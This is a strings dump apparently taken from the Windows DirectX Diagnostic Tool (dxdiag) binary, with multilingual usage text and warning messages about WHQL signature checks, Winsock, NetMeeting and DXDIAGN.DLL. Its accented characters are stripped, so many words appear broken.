dxdiag
WHQL
Windows
WHQL.$
Winsock
NetMeeting
Direct3D
NetMeeting.
DirectX
DxDiag
Windows 2000
Windows XP.
DxDiag
Windows 95
Windows 98
Windows ME.
DirectX
DxDiag
(%s).
DxDiag.D
DxDiag
Windows NT version 4.
DxDiag.E
Internet Explorer 5.01
DXDIAGN.DLL
DirectX
_ Windows 98
Windows 2000
Windows XP
: dxdiag [/x outfile] [/t outfile] [/whql:on | /whql:off]
/x outfile
<outfile>
/t outfile
<outfile>
/whql:on
dxdiag
WHQL
/whql:off
dxdiag
WHQL
WHQL
WHQL
Winsock
8NetMeeting
Direct3D
NetMeeting
DirectX v
Unicode
DxDiag
Windows 2000
Windows XP
Windows 95
Windows 98
Windows ME
Unicode
DxDiag
DirectX (%s)
DxDiag (%s)
DxDiag
,DxDiag
Windows NT
DxDiag
Internet Explorer 5.01
DXDIAGN.DLL
stroj pro diagnostiku rozhran
DirectXNTento program vy
aduje syst
m Windows
98, Windows
2000, Windows
XP nebo vy
: dxdiag [/x v
_soubor] [/t v
_soubor] [/whql:on | /whql:off]
_soubor
v tich
imu informace ve form
tu XML do souboru <v
_soubor> a ukon
program.
_soubor
- Ulo
v tich
imu informace ve form
tu TXT do souboru <v
_soubor> a ukon
program.
/whql:on
stroji dxdiag ov
it digit
podpisy WHQL.
/whql:off
- Neumo
stroji dxdiag ov
it digit
podpisy WHQL.
mka: P
digit
ch podpis
WHQL bude pravd
podobn
ipojen
prost
ednictv
m Internetu za
elem aktualizace certifik
WHQL.*P
i hled
soubor
lo k chyb
]Verze nainstalovan
ho rozhran
Winsock je zastaral
sobuje probl
my se s
mi hrami.
~Je spu
na aplikace NetMeeting. Hardwarov
akcelerace pro Direct3D nemus
pracovat, dokud je aplikace NetMeeting spu
1Nainstalujte nejnov
verzi rozhran
DirectX.
Tato verze programu DxDiag je v k
Unicode a je mo
no ji spustit pouze v syst
mu Windows 2000 nebo Windows XP. V syst
mech Windows 95, Windows 98 a Windows ME pou
ijte verzi, kter
Unicode.
Upozorn
: Nainstalovan
verze rozhran
DirectX (%s) je pravd
podobn
tato verze programu DxDiag (%s). N
zobrazovan
informace nebudou pravd
podobn
. Je t
eba pou
verzi programu DxDiag.WProgram DxDiag nelze spustit v syst
mu Windows NT 4. Program DxDiag bude nyn
en.AJe nutn
nainstalovat aplikaci Internet Explorer 5.01 nebo vy
. Nelze nal
zt soubor DXDIAGN.DLL.
#Diagnosticeringsv
j til DirectX\Dette program kr
ver Windows 98, Windows 2000, Windows XP eller en nyere version af Windows.
Format: dxdiag [/x outputfil] [/t outputfil] [/whql:on | /whql:off]
/x outfile
- gemmer XML-oplysninger uden brugerinput til <outputfil> og afslutter derefter
/t outfile
- gemmer tekstoplysninger til <outputfil> og afslutter derefter
/whql:on
- tillader dxdiag at kontrollere for WHQL digitale signaturer
/whql:off
- tillader ikke dxdiag at kontrollere for WHQL digitale signaturer
rk! Kontrol for WHQL digitale signaturer opretter muligvis forbindelse til internettet for at opdatere WHQL-certifikater.<Der opstod et problem under gennems
gning af komponentfiler.VDen installerede version Winsock er for
ldet og kan give problemer med netv
rksspil.
gNetMeeting k
rer. Direct3D-hardwareacceleration fungerer muligvis ikke, f
r NetMeeting er afsluttet.
?Du skal installere DirectX igen for at f
den nyeste version.
Dette er Unicode-versionen af DxDiag, som kun k
Windows 2000 eller Windows XP. K
r version af DxDiag, der ikke er Unicode-baseret p
Windows 95, Windows 98 og Windows ME.
Advarsel! Den installerede version af DirectX (%s) er nyere end denne version af DxDiag (%s). Nogle af de rapporterede oplysninger er muligvis ikke korrekte. Du skal bruge en nyere version af DxDiag.@DxDiag kan ikke k
Windows NT version 4. DxDiag afsluttes.<Du skal have Internet Explorer 5.01 eller nyere installeret.
DXDIAGN.DLL blev ikke fundet.
DirectX-DiagnoseprogrammdDieses Programm erfordert Windows 98, Windows 2000, Windows XP oder eine neuere Version von Windows.
Syntax: dxdiag [/x Ausgabedatei] [/t Ausgabedatei] [/whql:on | /whql:off]
/x Ausgabedatei
- Speichert die XML-Informationen ohne Nachfrage in der <Ausgabedatei> und beendet das Programm.
/t Ausgabedatei
- Speichert die TXT-Informationen ohne Nachfrage in der <Ausgabedatei> und beendet das Programm.
/whql:on - L
sst die
fung auf digitale WHQL-Signaturen durch dxdiag zu
/whql:off - L
sst die
fung auf digitale WHQL-Signaturen durch dxdiag nicht zu
Hinweis: Beim
fen auf digitale WHQL-Signaturen wird ggf. eine Verbindung zum Internet hergestellt, um WHQL-Zertifikate zu aktualisieren.?Beim Scannen der Komponentendateien ist ein Fehler aufgetreten.bDie installierte Winsock-Version ist veraltet und k
nnte Fehler bei Netzwerkspielen verursachen.
NetMeeting wird ausgef
hrt. Direct3D-Hardwarebeschleunigung funktioniert m
glicherweise nur, wenn NetMeeting nicht ausgef
hrt wird.
FInstallieren Sie DirectX neu, um die aktuellste Version zu erhalten.
Dies ist eine Unicode-Version von DxDiag, die nur auf Windows 2000 oder Windows XP ausgef
hrt wird. Verwenden Sie eine Nicht-Unicode-Version von DxDiag auf Windows 95, Windows 98 und Windows ME.
Warnung: Die bereits installierte Version von DirectX (%s) ist neuer als diese Version von DxDiag (%s). Manche Meldungen sind vielleicht nicht korrekt. Eine neuere Version von DxDiag sollte verwendet werden.TDxDiag kann auf Windows NT, Version 4, nicht ausgef
hrt werden. DxDiag wird beendet.8Internet Explorer 5.01 oder h
her muss installiert sein.!DXDIAGN.DLL wurde nicht gefunden.
DirectX_
Windows 98, Windows 2000, Windows XP
Windows.
: dxdiag [/x
] [/t
] [/whql:on | /whql:off]
/whql:on
/whql:off
WHQL
Internet
WHQL.9
Winsock
NetMeeting
Direct3D
NetMeeting.
DirectX
Unicode
DxDiag,
Windows 2000
Windows XP.
--Unicode
DxDiag
Windows 95, Windows 98,
Windows ME.
DirectX (%s)
DxDiag (%s).
DxDiag.O
DxDiag
Windows NT 4. DxDiag
Internet Explorer 5.01
DXDIAGN.DLL
DirectX Diagnostic ToolZThis program requires Windows 98, Windows 2000, Windows XP, or a newer version of Windows.
Usage: dxdiag [/x outfile] [/t outfile] [/whql:on | /whql:off]
/x outfile
- silently save XML information to <outfile> and quit
/t outfile
- silently save txt information to <outfile> and quit
/whql:on
- allow dxdiag to check for WHQL digital signatures
/whql:off
- do not allow dxdiag to check for WHQL digital signatures
Note: Checking for WHQL digital signatures may connect via internet to update WHQL certificates. Problem scanning component files^The version of Winsock installed is out of date and can cause problems with networked games.
dNetMeeting is running. Direct3D hardware acceleration may not work until NetMeeting is shut down.
9You should reinstall DirectX to get the latest version.
This is the Unicode version of DxDiag, which only runs on Windows 2000 or Windows XP. Please use the non-Unicode version of DxDiag on Windows 95, Windows 98, and Windows ME.
Warning: It appears that the installed version of DirectX (%s) is newer than this version of DxDiag (%s). Some information reported may be inaccurate. You should use a newer version of DxDiag.ADxDiag cannot run on Windows NT version 4. DxDiag will now exit.8You must have Internet Explorer 5.01 or later installed.
Could not find DXDIAGN.DLL
DirectX-diagnostiikkaty
kalupT
ohjelma vaatii Windows 98:n, Windows 2000:n, Windows XP:n tai uudemman Windows-k
rjestelm
n version.
: dxdiag [/x tulostustiedosto] [/t tulostustiedosto] [/whql:on | /whql:off]
/x tulostustiedosto
- tallentaa XML-muodossa olevat tiedot tiedostoon <tulostustiedosto> ja lopettaa ohjelman
/t tulostustiedosto
- tallentaa tekstimuodossa olevat tiedot tiedostoon <tulostustiedosto> ja lopettaa ohjelman
/whql:on
- sallii dxdiag-ohjelman etsi
WHQL:n digitaalisia allekirjoituksia
/whql:off
- ei salli dxdiag-ohjelman etsi
WHQL:n digitaalisia allekirjoituksia
Huomautus: WHQL:n digitaalisten allekirjoitusten etsinn
n yhteydess
saatetaan p
WHQL-sertifikaatteja Internetin v
lityksell
.'Virhe etsitt
komponenttitiedostojaHWinsock-versio on vanha ja voi aiheuttaa ongelmia verkkopelien kanssa.
gNetMeeting on k
ynniss
. Direct3D-laitteistokiihdytys ei ehk
toimi, ennen kuin NetMeeting suljetaan.
@Asenna DirectX uudelleen ottaaksesi uusimman version k
on DxDiag-ty
kalun Unicode-versio, jonka voi suorittaa vain Windows 2000:ssa tai Windows XP:ss
Windows 95:ss
, Windows 98:ssa ja Windows ME:ss
DxDiag-ty
kalun muuta kuin Unicode-versiota.
Varoitus: DirectX:n asennettu versio (%s) on uudempi kuin t
DxDiag-ty
kalun versio (%s). Jotkin tiedot saattavat olla ep
tarkkoja. K
DxDiag-ty
kalun uudempaa versiota.MDxDiag-ohjelmaa ei voi suorittaa Windows NT:n versiossa 4. DxDiag lopetetaan.GOhjelma vaatii v
n Internet Explorer 5.01:n tai uudemman version.
DXDIAGN.DLL-tiedostoa ei l
Outil de diagnostic DirectXfCe programme requiert Windows
98, Windows
2000, ou Windows
XP, ou une version plus r
cente de Windows.
Utilisation
: dxdiag [/x fichiersortie] [/t fichiersortie] [/whql:on | /whql:off]
/x fichiersortie
- enregistrer sans avertissement des informations XML dans un <fichiersortie> et quitter
/t fichiersortie
- enregistrer sans avertissement des informations txt dans <fichiersortie> et quitter
/whql:on
- autoriser dxdiag
rifier les signatures num
riques WHQL
/whql:off
- ne pas autoriser dxdiag
rifier les signatures num
riques WHQL
Remarque
rifier les signatures num
riques WHQL peut vous connecter via Internet
des mises
jour de certificats WHQL.4Probl
me lors de l'analyse des fichiers du composantqLa version install
e de Winsock est obsol
te et pourrait
l'origine de probl
mes avec des jeux en r
}NetMeeting est en cours d'ex
cution. Le mat
riel d'acc
ration Direct3D ne fonctionnera que lorsque NetMeeting sera ferm
NVous devriez installer DirectX
nouveau afin d'obtenir la derni
re version.
Ceci est la version Unicode de DxDiag, qui s'ex
cute uniquement sous Windows
2000 ou Windows
XP. Utilisez la version non Unicode de DxDiag sous Windows
95, Windows
98 et Windows
Avertissement
: la version install
e de DirectX (%s) est plus r
cente que cette version de DxDiag (%s). Certaines informations risquent d'
tre inexactes. Vous devez utiliser une version plus r
cente de DxDiag.XDxDiag ne peut pas s'ex
cuter sous Windows
NT version 4. DxDiag va maintenant s'arr
ter.UInternet Explorer version 5.01 ou ult
rieure doit
tre install
sur votre ordinateur.
DXDIAGN.DLL introuvable
DirectX^
Windows 98, Windows 2000, Windows XP
Windows.
: dxdiag [/x outfile] [/t outfile]
[/whql:on | /whql:off]
/x outfile
<outfile>
/t outfile
<outfile>
/whql:on
WHQL
dxdiag
/whql:off
WHQL
dxdiag
WHQL
WHQL.
Winsock
NetMeeting
Direct3D
NetMeeting.
DirectX
Unicode
DxDiag
Windows 2000
Windows XP.
Unicode
DxDiag
Windows 95, Windows 98,
- Windows ME.
DirectX (%s)
DxDiag (%s).
DxDiag.C
DxDiag
- Windows NT
4. DxDiag
Internet Explorer 5.01
DXDIAGN.DLL
DirectX diagnosztikai eszk
zjEz a program csak Windows 98, Windows 2000, Windows XP vagy
jabb verzi
Windows rendszeren haszn
Szintaxis: dxdiag [/x kimeneti_f
jl] [/t kimeneti_f
jl] [/whql:on | /whql:off]
/x kimeneti_f
- adatok interakci
li ment
se a <kimeneti_f
jl> nev
XML-f
/t kimeneti_f
- adatok interakci
li ment
se a <kimeneti_f
jl> nev
/whql:on
- a WHQL-t
digit
lis al
sok ellen
nek enged
/whql:off
- a WHQL-t
digit
lis al
sok ellen
nek tilt
Megjegyz
fordulhat, hogy a WHQL-t
digit
lis al
sok ellen
sekor a program az internetre csatlakozva friss
ti a WHQL-tan
nyokat.+Probl
ma az
sszetev
jlok keres
zbenQA telep
tett Winsock verzi
s probl
kat okozhat h
zati j
qA NetMeeting fut. El
fordulhat, hogy a Direct3D hardveres gyors
sa nem m
dik, am
g a NetMeeting le nem
?A leg
jabb verzi
megszerz
hez telep
jra a DirectX-et.
Ez a DxDiag Unicode-os verzi
ja, amely csak Windows 2000 vagy Windows XP rendszeren m
dik. Windows 95, Windows 98
s Windows ME rendszeren haszn
lja a DxDiag nem Unicode-os v
ltozat
Figyelmeztet
s: A DirectX telep
tett verzi
ja (%s)
jabb, mint a DxDiag verzi
ja (%s). A jelent
sben szerepl
inform
rt pontatlanok lehetnek. Javasolt a DxDiag
jabb verzi
nak haszn
lata.FA DxDiag a Windows NT 4-es verzi
n nem m
dik. A DxDiag most kil
p.;Az Internet Explorer 5.01-es vagy
jabb verzi
A DXDIAGN.DLL nem tal
Strumento di diagnostica DirectXeQuesto programma richiede Windows 98, Windows 2000, Windows XP o una versione di Windows pi
recente.
Utilizzo: dxdiag [/x file di output] [/t file di output] [/whql:on | /whql:off]
/x file di output
- Salva i dati XML in <file di output> in modo non interattivo ed esce dall'applicazione
/t file di output
- Salva i dati di testo in <file di output> in modo non interattivo ed esce dall'applicazione
/whql:on
- Consente a DxDiag di controllare le firme digitali WHQL
/whql:off
- Non consente a DxDiag di controllare le firme digitali WHQL
Nota: per il controllo delle firme digitali WHQL pu
essere necessario connettersi a Internet per aggiornare i certificati WHQL.2Errore durante la lettura dei file del componente.aLa versione di Winsock installata non
aggiornata e pu
causare problemi per i giochi in rete.
NetMeeting in esecuzione. L'accelerazione hardware Direct3D potrebbe non funzionare fino a quando NetMeeting non venga chiuso.
=Per ottenere la versione pi
recente, reinstallare DirectX.
Questa
la versione Unicode di DxDiag. Pu
essere eseguita solo in Windows 2000 e Windows XP. In Windows 95, Windows 98 e Windows ME utilizzare la versione non Unicode di DxDiag.
Avviso: La versione installata di DirectX (%s)
recente della versione di DxDiag (%s). Alcune delle informazioni registrate potrebbero non essere corrette. Si consiglia di installare una versione pi
recente di DxDiag.KImpossibile eseguire DxDiag in Windows NT 4. Chiusura di DxDiag in corso...K
necessario avere installato Internet Explorer 5.01 o versione successiva.Impossibile trovare DXDIAGN.DLL
DirectX
Windows 98
Windows 2000
Windows XP
Windows
: dxdiag [/x
] [/t
] [/whql:on | /whql:off]
/t outfile
/whql:on
- dxdiag
WHQL
/whql:off
- dxdiag
WHQL
: WHQL
WHQL
AWinsock
SNetMeeting
NetMeeting
Direct3D
DirectX
Unicode
DxDiag
Windows 2000
Windows XP
Windows 95
Windows 98
Windows ME
Unicode
DxDiag
DirectX (%s)
DxDiag (%s)
DxDiag
5DxDiag
Windows NT
DxDiag
2Internet Explorer 5.01
DXDIAGN.DLL
DirectX
Windows 98, Windows 2000, Windows XP,
Windows
: dxdiag [/x
] [/t
] [/whql:on | /whql:off]
- XML
/whql:on
- dxdiag
WHQL
/whql:off
- dxdiag
WHQL
: WHQL
WHQL
Winsock
NNetMeeting
. NetMeeting
Direct3D
DirectX
DxDiag
, Windows 2000
Windows XP
. Windows 95, Windows 98
Windows ME
DxDiag
DirectX (%s)
DxDiag (%s)
DxDiag
.7DxDiag Windows NT
. DxDiag
.0Internet Explorer 5.01
DXDIAGN.DLL
'Diagnostisch hulpprogramma voor DirectX^Dit programma vereist Windows 98, Windows 2000, Windows XP of een nieuwere versie van Windows.
Gebruik: dxdiag [/x uitvoerbestand] [/t uitvoerbestand] [/whql:on | /whql:off]
/x uitvoerbestand
- XML-informatie opslaan als <uitvoerbestand> en afsluiten
/t uitvoerbestand
- tekstinformatie opslaan in <uitvoerbestand> en afsluiten
/whql:on
- toestaan dat dxdiag controleert op digitale handtekeningen van WHQL
/whql:off
- niet toestaan dat dxdiag controleert op digitale handtekeningen van WHQL
Opmerking: bij controle op digitale handtekeningen van WHQL kan verbinding worden gemaakt met het Internet om WHQL-certificaten bij te werken.7Probleem tijdens het onderzoeken van onderdeelbestandencDe ge
nstalleerde Winsock-versie is verlopen en kan voor problemen tijdens netwerkspellen zorgen.
kNetMeeting is actief. Direct3D-hardwareversnelling werkt mogelijk niet, voordat NetMeeting is afgesloten.
LInstalleer DirectX opnieuw als u de meest recente versie wilt installeren.
Dit is de Unicode-versie van DxDiag. Deze versie werkt alleen in Windows 2000 of Windows XP. In Windows 95, Windows 98 en Windows ME moet u de niet-Unicode-versie van DxDiag gebruiken.
Waarschuwing: de ge
nstalleerde versie van DirectX (%s) is schijnbaar nieuwer dan deze versie van DxDiag (%s). Er kunnen onjuiste gegevens zijn gerapporteerd. U dient een nieuwere versie van DxDiag te gebruiken.IDxDiag werkt niet onder Windows NT versie 4. DxDiag wordt nu afgesloten.<U moet Internet Explorer 5.01 of hoger hebben ge
nstalleerd.
Kan DXDIAGN.DLL niet vinden
DirectX-diagnoseverkt
y`Dette programmet krever Windows 98, Windows 2000, Windows XP, eller en nyere versjon av Windows.
Bruk: dxdiag [/x utfil] [/t utfil] [/whql:on | /whql:off]
/x utfil
- lagre XML-informasjon i <utfil> og avslutt
/t utfil
- lagre tekstinformasjon i <utfil> og avslutt
/whql:on
- Tillat at dxdiag kontrollerer digitale WHQL-signaturer
/whql:off
- Ikke tillat at dxdiag kontrollerer digitale WHQL-signaturer
Obs! Kontroll av digitale WHQL-signaturer kan kreve oppdatering av WHQL-sertifikater p
Internett.(Problem under skanning av komponentfilercDen installerte versjonen av Winsock er for gammel og kan for
rsake problemer med nettverksspill.
gNetMeeting kj
rer. Direct3D-maskinvareakselerasjon fungerer kanskje ikke f
r NetMeeting er avsluttet.
r installere DirectX p
nytt for
siste versjon.
Dette er Unicode-versjonen av DxDiag, som bare kan kj
Windows 2000 eller Windows XP. Bruk ikke-Unicode-versjonen av DxDiag med Windows 95, Windows 98, og Windows ME.
Advarsel! Det ser ut til at den installerte versjonen av DirectX (%s) er nyere enn denne versjonen av DxDiag (%s). Noe av informasjonen som rapporteres kan v
yaktig. Du b
r bruke en nyere versjon av DxDiag.IDxDiag kan ikke kj
re med Windows NT versjon 4. DxDiag vil bli avsluttet.7Internet Explorer 5.01 eller senere m
re installert.
Finner ikke Dxdiagn.dll
dzie diagnostyczne DirectXcTen program wymaga systemu Windows 98, Windows 2000, Windows XP lub nowszej wersji systemu Windows.
ycie: dxdiag [/x plik_wyj
ciowy] [/t plik_wyj
ciowy] [/whql:on | /whql:off]
/x plik_wyj
- zapisz informacje XML w trybie cichym do pliku <plik_wyj
ciowy> i zako
/t plik_wyj
- zapisz informacje tekstowe w trybie cichym do pliku <plik_wyj
ciowy> i zako
/whql:on
- zezwalaj programowi dxdiag na testowanie podpis
w cyfrowych WHQL
/whql:off
- nie zezwalaj programowi dxdiag na testowanie podpis
w cyfrowych WHQL
Uwaga: testowanie podpis
w cyfrowych WHQL mo
e powodowa
czenie si
przez Internet w celu zaktualizowania certyfikat
w WHQL.5Wyst
problem podczas skanowania plik
w\Zainstalowana wersja Winsock jest zbyt stara i mo
e powodowa
problemy z grami sieciowymi.
Program NetMeeting jest uruchomiony. Przyspieszenie sprz
towe Direct3D mo
e nie dzia
ki praca programu NetMeeting nie zostanie zako
czona.
y ponownie zainstalowa
program DirectX, aby uzyska
najnowsz
wersj
Jest to wersja Unicode programu DxDiag, dzia
ca tylko w systemach Windows 2000 lub Windows XP. W systemach Windows 95, Windows 98 i Windows ME u
yj wersji pliku DxDiag innej ni
Unicode.
Ostrze
enie: Prawdopodobnie zainstalowana wersja programu DirectX (%s) jest nowsza ni
obecna wersja programu DxDiag (%s). Niekt
re raportowane informacje mog
niedok
adne. U
yj nowszej wersji programu DxDiag.hProgram DxDiag nie mo
e dzia
w systemie Windows NT wersja 4. Program DxDiag zako
czy teraz dzia
anie.NMusisz mie
zainstalowany program Internet Explorer w wersji 5.01 lub nowszej.(Nie mo
na znale
biblioteki DXDIAGN.DLL
$Ferramenta de diagn
stico do DirectXbEste programa requer o Windows 98, Windows 2000, Windows XP ou uma vers
o mais recente do Windows.
Uso: dxdiag [/x outfile] [/t outfile] [/whql:on | /whql:off]
/x outfile
- salva informa
es XML em <sa
da> e sai
/t outfile
- salva informa
es txt em <sa
da> e sai
/whql:on
- permite que dxdiag verifique assinaturas digitais WHQL
/whql:off
o permite que dxdiag verifique assinaturas digitais WHQL
Observa
o: a verifica
o de assinaturas digitais WHQL pode ser feita via internet com a atualiza
o de certificados WHQL.COcorreu um problema ao serem pesquisados os arquivos de componentes]A vers
o de Winsock instalada est
desatualizada e pode causar problemas com jogos em rede.
O NetMeeting est
sendo executado. A acelera
o de hardware Direct3D pode n
o funcionar at
que o NetMeeting seja encerrado.
deve reinstalar o DirectX para obter a vers
o mais recente.
a vers
o Unicode de DxDiag, que s
pode ser executada no Windows 2000 ou Windows XP. Use a vers
o-Unicode de DxDiag no Windows 95, Windows 98 e Windows ME.
Aviso: parece que a vers
o instalada do DirectX (%s)
mais recente do que esta vers
o do DxDiag (%s). Algumas informa
es podem n
o estar corretas. Voc
deve usar uma vers
o mais recente do DxDiag.QN
vel executar o DxDiag no Windows NT vers
o 4. O DxDiag ser
encerrado.>O Internet Explorer 5.01 ou posterior precisa estar instalado.&N
o foi poss
vel encontrar DXDIAGN.DLL
DirectXa
Windows 98, Windows 2000, Windows XP
Windows.
: dxdiag [/x
] [/t
] [/whql:on | /whql:off]
/whql:on
dxdiag
/whql:off
dxdiag
WHQL
WHQL.
Winsock,
NetMeeting.
Direct3D
NetMeeting.
DirectX
DxDiag
Windows 2000
Windows XP.
Windows 95, Windows 98
Windows ME
DxDiag
DirectX (%s),
DxDiag (%s).
DxDiag.SDxDiag
Windows NT
DxDiag
Internet Explorer 5.01
DXDIAGN.DLL
Diagnostikverktyg f
r DirectXYDetta program kr
ver Windows 98, Windows 2000, Windows XP eller en nyare Windows-version.
Syntax: dxdiag [/x utdatafil] [/t utdatafil] [/whql:on | /whql:off]
/x utdatafil
- sparar XML-information i <utdatafilen> och avslutar
/t utdatafil
- sparar textinformation i <utdatafilen> och avslutar
/whql:on
- till
ter att dxdiag kontrollerar digitala WHQL-signaturer
/whql:off
- till
ter inte att dxdiag kontrollerar digitala WHQL-signaturer
Obs! Vid kontroll av digitala WHQL-signaturer kan en anslutning till Internet uppr
ttas f
r att uppdatera WHQL-certifikat.,Det gick inte att s
ka igenom komponentfiler^Den Winsock-version som
r installerad
ldrad och kan orsaka problem med n
tverksspel.
jNetMeeting k
rs. Maskinvaruacceleration f
r Direct3D fungerar kanske inte f
n du avslutar NetMeeting.
r installera om DirectX f
r att f
den senaste versionen.
Detta
r Unicode-versionen av DxDiag. Den kan bara k
ras under Windows 2000 eller Windows XP. Anv
nd icke-Unicode-versionen av DxDiag p
Windows 95, Windows 98 och Windows ME.
Varning! Det verkar som om den installerade versionen av DirectX (%s)
r nyare
n den h
r versionen av DxDiag (%s). Delar av informationen i rapporten kan vara felaktig. Du b
nda en nyare version av DxDiag.@Det g
r inte att k
ra DxDiag p
Windows NT 4.0. DxDiag avslutas.;Internet Explorer 5.01 eller senare m
ste vara installerat.#Det gick inte att hitta DXDIAGN.DLL
DirectX Tan
dBu program, Windows 98, Windows 2000, Windows XP veya Windows'un daha yeni s
mlerini gerektiriyor.
Kullan
m: dxdiag [/x
dosyas
] [/t
dosyas
] [/whql:on | /whql:off]
dosyas
- XML bilgisini <
dosyas
>na artalanda kaydedip kapat
dosyas
- txt bilgisini <
dosyas
>na artalanda kaydedip kapat
/whql:on
- dxdiag'
n WHQL dijital imzalar
denetlemesine izin ver
/whql:off
- dxdiag'
n WHQL dijital imzalar
denetlemesine izin verme
Not: WHQL dijital imzalar
denetlemek, WHQL sertifikalar
ncelle
tirilmesi i
in Internet'e ba
layabilir.)Bile
en dosyalar
tararken sorun olu
Winsock s
eski ve a
oyunlarda soruna sebep olabilir.
cNetMeeting
yor. Direct3D donan
NetMeeting kapat
lana kadar
mayabilir.
>En son s
almak i
in DirectX'i yeniden y
klemelisiniz.
Bu, sadece Windows 2000 veya Windows XP
zerinde
an DxDiag'
n Unicode s
tfen Windows 95, Windows 98 ve Windows ME
zerinde Unicode olmayan bir s
kullan
: DirectX (%s)'in y
olan s
, DxDiag (%s)'nin bu s
nden daha yeni g
yor. Raporlanan baz
bilgiler do
ru olmayabilir. DxDiag'nin daha yeni s
kullanmal
z.JDxDiag Windows NT s
zerinde
amaz. DxDiag'dan
lacak.HInternet Explorer 5.01 veya daha ileri bir s
olmas
gerekir.
DXDIAGN.DLL bulunamad
DirectX
^ Windows 98
Windows 2000
Windows XP
Windows
: dxdiag [/x outfile] [/t outfile] [/whql:on | /whql:off]
/x outfile
<outfile>
/t outfile
<outfile>
/whql:on
dxdiag
WHQL
/whql:off
dxdiag
WHQL
WHQL
Internet
WHQL
Winsock
6NetMeeting
NetMeeting
Direct3D
DirectX
DxDiag
Unicode
Windows 2000
Windows XP
Windows 95
Windows 98
Windows ME
DxDiag
Unicode
DirectX (%s)
DxDiag (%s)
DxDiag
*DxDiag
Windows NT
DxDiag
Internet Explorer 5.01
DXDIAGN.DLL
$Ferramenta de diagn
stico do DirectXbEste programa requer o Windows 98, Windows 2000, Windows XP ou uma vers
o mais recente do Windows.
Utiliza
o: dxdiag [/x outfile] [/t outfile] [/whql:on | /whql:off]
/x outfile
- guarda silenciosamente a informa
o XML em <outfile> e termina
/t outfile
- guarda silenciosamente a informa
o txt em <outfile> e termina
/whql:on
- permite a dxdiag procurar assinaturas digitais WHQL
/whql:off
o permite a dxdiag procurar assinaturas digitais WHQL
Nota: Ao procurar assinaturas digitais WHQL pode ligar
Internet para actualizar certificados WHQL.8Ocorreu um problema ao detectar os ficheiros componentes^A vers
o do Winsock instalado est
desactualizada e pode causar problemas com jogos em rede.
O NetMeeting est
em execu
o. A acelera
o de hardware do Direct3D poder
o funcionar at
que o NetMeeting seja encerrado.
7Deve reinstalar o DirectX para obter a
ltima vers
a vers
o Unicode de DxDiag, que s
pode ser executada no Windows 2000 ou Windows XP. Utilize a vers
o-Unicode de DxDiag no Windows 95, Windows 98 e Windows ME.
Aviso: Aparentemente, a vers
o instalada do DirectX (%s)
mais recente do que esta vers
o do DxDiag (%s). Algumas das informa
es comunicadas poder
o estar incorrectas. Dever
utilizar uma vers
o mais recente do DxDiag.QDxDiag n
o pode ser executado no Windows NT vers
o 4. DxDiag ir
terminar agora.<Tem que ter o Internet Explorer 5.01 ou posterior instalado.&N
o foi poss
vel localizar DXDIAGN.DLL
%Herramienta de diagn
stico de DirectXbEste programa requiere Windows 98, Windows 2000, Windows XP o una versi
s reciente de Windows.
Uso: dxdiag [/x archivo] [/t archivo] [/whql:on | /whql:off]
/x archivo
- guarda la informaci
n XML en el <archivo> en modo silencioso
y se cierra
/t archivo
- guarda la informaci
n de texto en el <archivo> en modo silencioso
y se cierra
/whql:on
- permite a dxdiag comprobar las firmas digitales WHQL
/whql:off
- no permite a dxdiag comprobar firmas digitales WHQL
Nota: la comprobaci
n de firmas digitales WHQL puede efectuar una conexi
n a Internet para actualizar los certificados WHQL..Problema al buscar los archivos del componentedLa versi
n de Winsock instalada est
desactualizada y puede ocasionar problemas con juegos en red.
NetMeeting se est
ejecutando. Es posible que la aceleraci
n por hardware de Direct3D no funcione hasta que se cierre NetMeeting.
@Debe volver a instalar DirectX para obtener la
ltima versi
sta es la versi
n Unicode de DxDiag, que s
lo puede ejecutarse en Windows 2000 o Windows XP. Utilice la versi
n no Unicode de DxDiag en Windows 95, Windows 98 y Windows ME.
Advertencia: parece que la versi
n instalada de DirectX (%s) es m
s reciente que esta versi
n de DxDiag (%s). Algunas informaciones pueden no ser exactas. Debe usar una versi
s reciente de DxDiag.@DxDiag no puede ejecutarse en Windows NT 4.0. DxDiag se cerrar
.8Debe tener instalado Internet Explorer 5.01 o posterior.
No se encontr
DXDIAGN.DLL
DXDIAGN.DLL"
DXDIAGN.DLL
(system administrators).
DxDiag
Microsoft Windows
(WHQL)
Windows
WHQL.
DxDiag
DXDIAGN.DLL
DXDIAGN.DLL
DxDiag
Microsoft
Windows
(WHQL)
Windows
WHQL
DxDiag
Nelze na
st soubor DXDIAGN.DLL. Soubor DXDIAGN.DLL je zastaral
.oTuto operaci m
e prov
st pouze spr
vce syst
mu. Obra
te se na spr
vce syst
o proveden
to akce.
Chcete programu DxDiag umo
nit, aby zkontroloval, zda ovlada
digit
podpis WHQL spole
nosti Microsoft? Syst
m Windows pravd
podobn
ipojen
ti Internet za
elem st
ch certifik
WHQL (Windows Hardware Quality Labs). Nebudou odesl
informace o va
em syst
mu. Doporu
ujeme zvolit mo
nost Ano, aby program DxDiag z
skal podrobn
informace o va
em syst
DXDIAGN.DLL kunne ikke indl
DXDIAGN.DLL er for
ldet.qKun systemadministratorer kan udf
re denne handling. Kontakt en systemadministrator for at udf
re denne handling.
Vil du tillade, at DxDiag kontrollerer, om driverne er signeret digitalt som v
rende godkendt i henhold til Microsofts WHQL-logo (Windows Hardware Quality Labs) Dette kr
ver muligvis at Windows skal oprette forbindelse til internettet for at hente nye WHQL-certifikater. Der hentes ingen oplysninger fra din computer. Det anbefales, at svare "Ja", s
DxDiag har s
mange oplysninger som muligt om computeren.
(DXDIAGN.DLL konnte nicht geladen werden.
DXDIAGN.DLL ist veraltet.
Nur Systemadministratoren k
nnen diesen Vorgang ausf
hren. Wenden Sie sich an einen Systemadminstrator, damit dieser den Vorgang ausf
chten Sie es zulassen, dass DxDiag
ft, ob die Treiber digital signiert und mit dem Logo der Microsoft Windows Hardware Quality Labs (WHQL) versehen sind? Dies kann dazu f
hren, dass eine Verbindung mit dem Internet hergestellt wird, um neue WHQL-Zertifikate zu downloaden. Es werden keine Information vom System abgerufen. Es wird empfohlen, mit "Ja" zu antworten, damit DxDiag
ber vollst
ndigere Informationen
ber das System verf
DXDIAGN.DLL
DXDIAGN.DLL
DxDiag
Microsoft's Windows Hardware Quality Labs (WHQL)?
Windows
Internet
WHQL.
DxDiag
Could not load DXDIAGN.DLL
DXDIAGN.DLL is out of datexOnly system administrators can perform this operation. Please contact a system administrator to perform this operation.
Do you want to allow DxDiag to check if your drivers are digitally signed as logo'd by Microsoft's Windows Hardware Quality Labs (WHQL)? This may cause Windows to connect to the Internet to download new WHQL certificates. No information is retrieved from your system. We recommend answering "Yes" so that DxDiag has more complete information about your system.
